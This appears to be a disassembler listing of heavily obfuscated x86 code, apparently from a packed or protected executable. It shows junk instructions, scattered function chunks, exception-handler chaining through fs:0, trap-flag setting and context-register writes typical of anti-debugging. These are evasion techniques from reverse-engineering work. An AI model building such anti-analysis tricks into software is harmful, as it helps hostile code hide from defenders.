; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EF47:				; CODE XREF: sub_439ED1+4B8Fj
		jmp	loc_43C4EC
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43EF4C:				; CODE XREF: _802izwe5:0043DBAEj
		jmp	loc_439473
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_43EF53:				; CODE XREF: sub_43844A-1027j
		jmp	loc_43D2D5
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43EF5A:				; CODE XREF: _802izwe5:0043B964j
		push	offset byte_437901
		jmp	loc_43ED49
; ---------------------------------------------------------------------------
		dd 81018900h, 4C1h, 81018900h, 0A0C1h, 4C01C700h, 3300439Ch
		db 0C0h, 59h, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EF7F:				; CODE XREF: sub_439ED1+ABDj
		jmp	nullsub_10
; ---------------------------------------------------------------------------


loc_43EF84:				; CODE XREF: sub_439ED1+500j
		jmp	loc_43944A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		dw 6467h
		dd 36FFh, 26896467h, 9DE90000h,	0FFFFE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_43EF9D:				; CODE XREF: sub_43C50C+2C1Aj
		pop	edi
		xchg	eax, [esp+8+var_8]
		popf
		nop
		jmp	loc_43BEA6
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EFA8:				; CODE XREF: sub_439ED1:loc_439331j
					; sub_439ED1:loc_43C571j
		sub	esi, 363BD7BEh
		add	esi, 0B2C8D0CDh
		add	eax, esi
		pop	esi
		mov	eax, [eax]
		push	offset byte_43D4D7
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 81018900h, 4C1h, 81018900h, 4C1h, 81018900h,	4C1h, 0E9018900h
		dd 0FFFFAFD6h, 81018900h, 4C1h,	50018900h, 0FF9C23E9h
		dd 18900FFh, 43A42F68h,	0E967E900h, 0C100FFFFh,	1B807C0h
		dd 1B89E9FAh
		db 0F2h
byte_43F00D	db 67h,	64h, 8Fh	; DATA XREF: sub_439ED1+47Bo
		dd 0E9000006h, 0FFFFB652h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F01A:				; CODE XREF: sub_439ED1:loc_43AB69j
		xor	eax, eax
		pop	ecx

locret_43F01D:				; CODE XREF: _802izwe5:loc_43F28Cj
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 6467h
		dd 36FFh, 26896467h, 79E90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43F02F:				; CODE XREF: _802izwe5:0043B94Fj
		mov	byte ptr [esi],	8Bh
		pop	esi
		and	eax, 5463066Eh
		add	eax, 0E3E31F76h
		jmp	near ptr dword_438B68+32h
; ---------------------------------------------------------------------------
		call	loc_43C959
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_43F049:				; CODE XREF: sub_43844A+4E9Dj
		jmp	loc_439AE3
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43F051:				; CODE XREF: _802izwe5:0043D95Bj
		jmp	near ptr dword_4388D0+1
; ---------------------------------------------------------------------------
word_43F056	dw 0C6h			; DATA XREF: sub_439ED1:loc_43B542o
		dd 0F1E85803h, 0BBFFFFA9h, 35930412h
		dd 68F6467h, 4870000h, 85C75824h, 0FFFFFF7Fh, 75626544h
					; DATA XREF: sub_43D600+1BB4o
		dd 0FFA977E8h, 0E99C00FFh, 275h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F086:				; CODE XREF: _802izwe5:0043DD2Dj
		mov	edi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_43F088	proc near		; CODE XREF: sub_43C65A:loc_43C848p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438CA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D533 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ecx, [esp+0]
		pop	ecx
		push	0EF6E2C26h
		pop	esi
		jmp	loc_43D533
sub_43F088	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebx, [edx]
		shl	ebx, 19h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F0A0:				; CODE XREF: sub_439ED1+4A05j
		sub	ebx, 0CFAFC76Eh
		xor	ebx, 2A727835h
		add	ecx, ebx
		pop	ebx
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43AA55
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43F0BD:				; CODE XREF: _802izwe5:0043BF31j
		or	eax, 0B874861Ch
		rol	eax, 1Bh
		add	eax, 0DD9EE2BCh
		xor	eax, 0CB31CC83h
		call	loc_43A1EB


loc_43F0D7:				; CODE XREF: sub_43C169+8D9j
		add	bl, al
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F0D9:				; CODE XREF: sub_43C65A+17Bj
		jmp	loc_43B69B
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 10h
dword_43F0E0	dd 870F07C6h, 0F98B240Ch, 0EAF6E859h		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F0EF:				; CODE XREF: sub_439ED1+3B9Fj
		jmp	near ptr dword_43890C+3Fh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43F0F4:				; CODE XREF: sub_43C034-B90j
		jmp	loc_43B28B
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		align 2


loc_43F0FA:				; CODE XREF: _802izwe5:00437CDCj
		jmp	loc_437DDA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF84ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_43F106:				; CODE XREF: sub_43C50C+286Aj
		add	edi, 80E894D4h
		or	edi, 0B69EED3Fh
		xor	edi, 0FB46D941h
		sub	edi, 0AB4B0026h
		add	edi, 0A5B2CCA8h
		or	eax, edi
		jmp	loc_43EF9D
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------
byte_43F12B	db 68h			; DATA XREF: sub_438D1E+6o
		dd 0ED16F0FCh, 28E3815Bh, 81AC8F6Eh, 6D5ABBEBh,	0BEC381EAh
		dd 81F9D1DDh, 6C9417CBh, 0D249E86Eh, 0FFFFh
; ---------------------------------------------------------------------------


loc_43F150:				; CODE XREF: _802izwe5:0043E819j
		jmp	near ptr dword_439A1C+11h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F157:				; CODE XREF: _802izwe5:0043B129j
		jmp	near ptr dword_43AA04+9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F15E:				; CODE XREF: _802izwe5:00438CD2j
		jmp	loc_43A4C0
; ---------------------------------------------------------------------------


loc_43F163:				; CODE XREF: _802izwe5:0043DFCAj
		add	edi, 6C20C6D2h
		sub	edi, 7E528C71h
		xor	edi, 1C4B6BABh
		add	ecx, edi
		pop	edi
		mov	al, [ecx]
		add	ecx, 9Ch
		jmp	loc_43E2D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43F186:				; CODE XREF: _802izwe5:00439EB0j
		jmp	loc_43AC4D

; =============== S U B	R O U T	I N E =======================================



sub_43F18B	proc near		; CODE XREF: sub_439ED1:loc_437BD4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00437BC0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00437FB9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043828C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004383FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043901D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004390C1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AEC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B785 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B7A6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C5E4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043CB55 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043CCF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CF3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D0B4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043DC16 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E582 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EBD2 SIZE 00000006 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43B785
sub_43F18B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43F19D	proc far		; CODE XREF: _802izwe5:0043AFE1p
		xchg	eax, [esp+0]
		pop	eax
		mov	[ecx], eax
		add	ecx, 4
		jmp	near ptr loc_43A3A6+1
sub_43F19D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43F1AE:				; CODE XREF: sub_43D600+1324j
		add	ecx, 4
		mov	dword ptr [ecx], offset	dword_43F064
		xor	eax, eax
		pop	ecx
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		align 4
		test	edx, ebp
		jmp	loc_43F7A4
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43F1CD:				; CODE XREF: _802izwe5:loc_43C14Ej
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		push	offset loc_43DB7C
		jmp	loc_43BC16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F1E5:				; CODE XREF: sub_439ED1+3A3j
		mov	fs:0, esp
		jmp	loc_43B7BB
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43F1F0:				; CODE XREF: _802izwe5:0043B6EEj
		jns	loc_43A6E5
		test	esi, eax
		jmp	loc_43BA2F
; ---------------------------------------------------------------------------
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_43CBF4
		xor	eax, eax
		pop	ecx
		jmp	loc_43D5A0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F213:				; CODE XREF: _802izwe5:0043B434j
		mov	ebp, ecx
		xchg	ebp, [esp]
		jmp	loc_43D6DF
; ---------------------------------------------------------------------------


loc_43F21D:				; CODE XREF: _802izwe5:loc_43C48Dj
		jnb	loc_4397F2
		jmp	loc_43A184
; ---------------------------------------------------------------------------
		dd 8D0F0000h, 0FFFFB256h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D66E


loc_43F231:				; CODE XREF: sub_43D66E+8j
		jmp	loc_43E13A
; END OF FUNCTION CHUNK	FOR sub_43D66E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F237:				; CODE XREF: sub_439ED1+CBEj
		jmp	loc_43B019
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43F23C:				; CODE XREF: _802izwe5:004383ABj
		jmp	loc_43CB7C
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		db 87h,	0FFh
		dw 0FFDEh
		dd 0E9F987FFh, 0FFFFB228h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391DC


loc_43F252:				; CODE XREF: sub_4391DC:loc_438261j
		mov	byte ptr [ebx],	9Ch
		pop	ebx
		pop	edi
		mov	eax, edx
		xchg	eax, [esp-4+arg_0]
		push	offset word_43EA9E
		jmp	loc_43BBF3
; END OF FUNCTION CHUNK	FOR sub_4391DC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F267:				; CODE XREF: sub_439ED1+AECj
		add	eax, ebp
		add	eax, 0CAF22C88h
		popf
		push	ebp
		jmp	loc_43863A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43F277:				; DATA XREF: sub_43C65A:loc_43C712o
		add	ecx, 4
		mov	[ecx], eax
		push	eax
		push	0C8F8F83Bh
		pop	eax
		jmp	loc_43EEC5
; ---------------------------------------------------------------------------
		align 4


loc_43F28C:				; CODE XREF: _802izwe5:00438DDAj
		jnb	locret_43F01D
		push	0D40B6856h
		jmp	sub_43C0C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D573


loc_43F29C:				; CODE XREF: sub_43D573:loc_43EA4Cj
		pop	ebp
		mov	byte ptr [edi],	87h
		xchg	esi, [esp-4+arg_0]
		mov	edi, esi
		jmp	loc_43A782
; END OF FUNCTION CHUNK	FOR sub_43D573
; ---------------------------------------------------------------------------
		dw 8B00h
		dd 6A63682Eh, 23E9C544h, 0FFFFABh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43F2BA:				; CODE XREF: _802izwe5:0043B183j
		jmp	loc_43AA76
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		or	eax, 100h
		xchg	eax, [esp]
		popf
		nop
		jmp	loc_43A46D
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0FFA3078Ch, 0A29EE9FFh, 0C5E9FFFFh, 0FFFF85h, 0FF9C9DE9h
		dd 0CC5C1FFh, 58D0FA81h, 0D9E99414h, 0FFFFA2h, 24048700h
		dd 100C881h, 4870000h, 0E9909D24h, 0FFFFBD74h, 0BF570000h
		dd 438882h, 562E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F31B:				; CODE XREF: sub_439ED1+3573j
		mov	ecx, esp
		push	ebx
		push	0A1B5EFBDh
		pop	ebx
		jmp	loc_43E8CA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		push	437821h
		jmp	locret_43C740
; ---------------------------------------------------------------------------
		align 10h


loc_43F340:				; CODE XREF: _802izwe5:0043D501j
		or	edx, 0D803A97Fh
		rol	edx, 11h
		test	edx, 200000h


loc_43F34F:				; CODE XREF: _802izwe5:loc_43CF86j
		jmp	loc_43F85D
; ---------------------------------------------------------------------------
		dd 81580000h, 0D2F152F0h, 0F2C08151h, 65CFB45Eh, 6CC081C5h
		dd 8B161EF7h, 0E8008A00h, 0FFFFD847h, 0FFE90000h, 0FFFF96h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F37C:				; CODE XREF: sub_439ED1+5B0Dj
		add	edi, 0B76E51C8h
		jmp	loc_43BDB8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_43F389:				; CODE XREF: sub_43E3D6:loc_43DC63j
		push	offset loc_43D87E
		jmp	loc_43D3AF
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		db 99h
		dd 0E913C5C1h, 0FFFFDD64h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F39D:				; CODE XREF: sub_439ED1+595Bj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_438616
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43F3B2	proc near		; CODE XREF: _802izwe5:0043DFEEp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004388BB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043946E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B78F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D62F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043D6AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D976 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E9F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F9B4 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	near ptr sub_43D7EE
		lodsd
		add	eax, offset loc_43EC7D
		call	near ptr sub_43D067
		push	ebp
		jmp	loc_43B78F
sub_43F3B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F3CD:				; CODE XREF: sub_439ED1+8DBj
		mov	byte ptr [edi],	9Dh
		push	offset sub_4391DC
		jmp	loc_439D65
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0E92E8799h, 0FFFFDD3Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F3E6:				; CODE XREF: sub_439ED1+32ADj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43B832
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F406:				; CODE XREF: sub_439ED1:loc_43BEB1j
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_438123
		xor	eax, eax
		jmp	loc_43C47F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		pop	edi
		push	ebx
		push	5B122B9Eh
		pop	ebx
		or	ebx, 7C46EABEh
		rol	ebx, 5
		and	ebx, 0E3CCAA0Ah
		jmp	loc_43F74F
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 0E951h
		dd 0FFFFD8D4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438378


loc_43F445:				; CODE XREF: sub_438378:loc_438B9Fj
		mov	esi, offset loc_43C113
		jmp	loc_43C314
; END OF FUNCTION CHUNK	FOR sub_438378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F44F:				; CODE XREF: sub_439ED1+6C9j
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		add	edx, eax
		rol	edx, 3
		call	near ptr dword_437CE4+3Ah
		jmp	loc_43C340
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43F468:				; CODE XREF: _802izwe5:0043ED16j
		mov	eax, [eax]
		call	near ptr sub_43F990
		jmp	loc_43D963
; ---------------------------------------------------------------------------


loc_43F474:				; CODE XREF: _802izwe5:00437B3Ej
		mov	byte ptr [eax],	87h
		pop	eax
		add	eax, 0FB3E6428h


loc_43F47E:				; DATA XREF: _802izwe5:00437B39o
		mov	ebx, 68E92404h
		jecxz	short near ptr loc_43F483+1 ; CODE XREF: _802izwe5:loc_43F483j
		inc	dword ptr [eax]
		add	[eax-2Fh], ch
		sbb	eax, 0E958FC29h
		mov	ebp, 0FFFFF2h


loc_43F494:				; CODE XREF: _802izwe5:0043E0C2p
		add	[edi+50582404h], al
		sbb	eax, ebx
		jmp	loc_43E209
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C7h
; ---------------------------------------------------------------------------
		add	[ebp+73h], edx
		inc	ebx
		add	[ebx], dh
		rol	byte ptr [edi-3074DBC4h], 5Fh
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FC2E8A0Fh, 810FFFFFh, 0FFFFD5E8h, 0FFFB9AE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_438CBC


loc_43F4C6:				; CODE XREF: sub_438CBC:loc_43C494j
		pushf
		jmp	near ptr dword_437428+87h
; END OF FUNCTION CHUNK	FOR sub_438CBC
; ---------------------------------------------------------------------------
		dd 1C870000h, 8B505B24h, 240487C7h, 0FFE9F88Bh,	0FFFFFDh
; ---------------------------------------------------------------------------


loc_43F4E0:				; CODE XREF: _802izwe5:00439632j
		xchg	ecx, [esp]
		pop	ecx
		push	571304A4h
		pop	eax
		jmp	loc_43C79E
; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43F4F1	proc near
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_43909C+8
sub_43F4F1	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F504:				; CODE XREF: sub_439ED1+49C1j
		test	ebp, 6839F962h
		jmp	loc_43BD55
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E40D


loc_43F511:				; CODE XREF: sub_43E40D-19FFj
		mov	byte ptr [esi],	3
		pop	esi
		pop	eax
		sub	eax, 8EB722EEh
		push	edi
		jmp	loc_4378F7
; END OF FUNCTION CHUNK	FOR sub_43E40D
; ---------------------------------------------------------------------------
		align 4
		xchg	esi, ebp
		jmp	loc_438376
; ---------------------------------------------------------------------------
byte_43F52B	db 0F2h			; CODE XREF: sub_43844A:loc_43845Fj
		db 0CCh
; ---------------------------------------------------------------------------
		jmp	loc_43BEA0
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F535:				; CODE XREF: sub_439ED1:loc_43B595j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		jmp	loc_43974E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
dword_43F54C	dd 0BDCBBA52h, 3EE90043h, 0FFFFB5h; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F558:				; CODE XREF: sub_439ED1:loc_43E9BAj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		call	sub_43E2BD
		jmp	near ptr dword_437548+0B0h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43F576	dw 6857h		; DATA XREF: sub_438989+51E7o
		dd 0B4BA3587h, 83E7815Fh, 812C4738h, 46E43CC7h,	0CCE7E825h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F58E:				; CODE XREF: sub_439ED1+4430j
		jmp	loc_43B136
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F595:				; CODE XREF: sub_439ED1+B11j
		jmp	loc_43CC20
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		add	ecx, ebx
		jmp	sub_43EEEF
; ---------------------------------------------------------------------------
		shr	ebx, 1Fh
		xor	esi, 5AF03A12h
		jmp	sub_43C2EA
; ---------------------------------------------------------------------------
		align 10h


loc_43F5B0:				; CODE XREF: _802izwe5:0043C352j
		add	eax, 0BB78E339h
		jmp	near ptr word_43AB2E+1
; ---------------------------------------------------------------------------
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		align 2
		dw 815Bh
		dd 5C0FE8C9h, 0A36852AAh, 5A91BC11h, 0E91EC2C1h, 0FFFFE0DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F5D6:				; CODE XREF: sub_439ED1:loc_43E599j
		push	offset word_43D98E
		jmp	nullsub_48
; ---------------------------------------------------------------------------


loc_43F5E0:				; CODE XREF: sub_439ED1+EB1j
		pushf
; END OF FUNCTION CHUNK	FOR sub_439ED1
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43F5E1:				; CODE XREF: sub_43F688-1FFFj
		add	ecx, 0ECC3D382h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43D7CA
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_438C04


loc_43F5F0:				; CODE XREF: sub_438C04+4ACFj
		ror	edi, 0Fh
		and	eax, 11E03388h
		add	eax, edi


loc_43F5FB:				; DATA XREF: _802izwe5:0043B45Ao
		pop	dword ptr fs:0
		jmp	near ptr dword_43718C+78h
; END OF FUNCTION CHUNK	FOR sub_438C04
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0FFDECF80h, 241C87FFh, 0B82B685Bh, 0E959F120h, 0FFFF8A7Ch
; ---------------------------------------------------------------------------


loc_43F61C:				; CODE XREF: _802izwe5:loc_43E593j
		jl	near ptr dword_439724+2
		adc	esi, 7263647Ah
		jmp	near ptr dword_43C578+7
; ---------------------------------------------------------------------------
		align 2


loc_43F62E:				; CODE XREF: _802izwe5:0043D49Ej
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43F634:				; CODE XREF: _802izwe5:0043D030j
		jmp	near ptr dword_43846C+0Ch
; ---------------------------------------------------------------------------
		db 2 dup(0), 67h
		dd 36FF64h, 89646700h, 0E9000026h, 0FFFF7EFCh, 24148700h
		dd 58C7815Ah, 688017D9h, 438B1Dh, 0FF94B5E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F662:				; CODE XREF: sub_439ED1+CB6j
		sbb	edx, 3388F461h
		add	esi, 71044CACh
		jmp	loc_438A20
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0E9CAD100h, 0FFFFD6FEh, 97C68100h, 0E9226555h, 0FFFFA75Dh

; =============== S U B	R O U T	I N E =======================================



sub_43F688	proc far		; CODE XREF: _802izwe5:004397A1p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004373EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437F0F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B668 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BDC1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043CBA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D67D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D7CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DCED SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E7D7 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043EE61 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043F5E1 SIZE 0000000E BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		pop	ebx
		cmp	dword ptr [ebp-8], 0


loc_43F691:				; DATA XREF: sub_439ED1+1530o
		xor	eax, 0FFC8D085h
		inc	esi
		inc	ebp
		loopne	loc_43F6CB
		jmp	loc_43CBA7
; ---------------------------------------------------------------------------
		dd 0D081328Bh, 1B7CDE9h, 0FFE924E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F6AF:				; CODE XREF: sub_439ED1:loc_437734j
		mov	[ecx], eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], (offset loc_439C7C+1)
		xor	eax, eax
		jmp	loc_4373EE
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43F6C6	dw 0E981h		; CODE XREF: sub_439ED1+BCBj
		db 0FFh, 0BBh, 18h
; ---------------------------------------------------------------------------


loc_43F6CB:				; CODE XREF: sub_43F688+11j
		shr	al, cl


loc_43F6CD:				; CODE XREF: sub_439ED1-1EB1j
		sal	dword ptr [ebp+0B00FFFFh], 0CBh
		cmp	eax, ebp
		jmp	loc_439F31
sub_43F688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
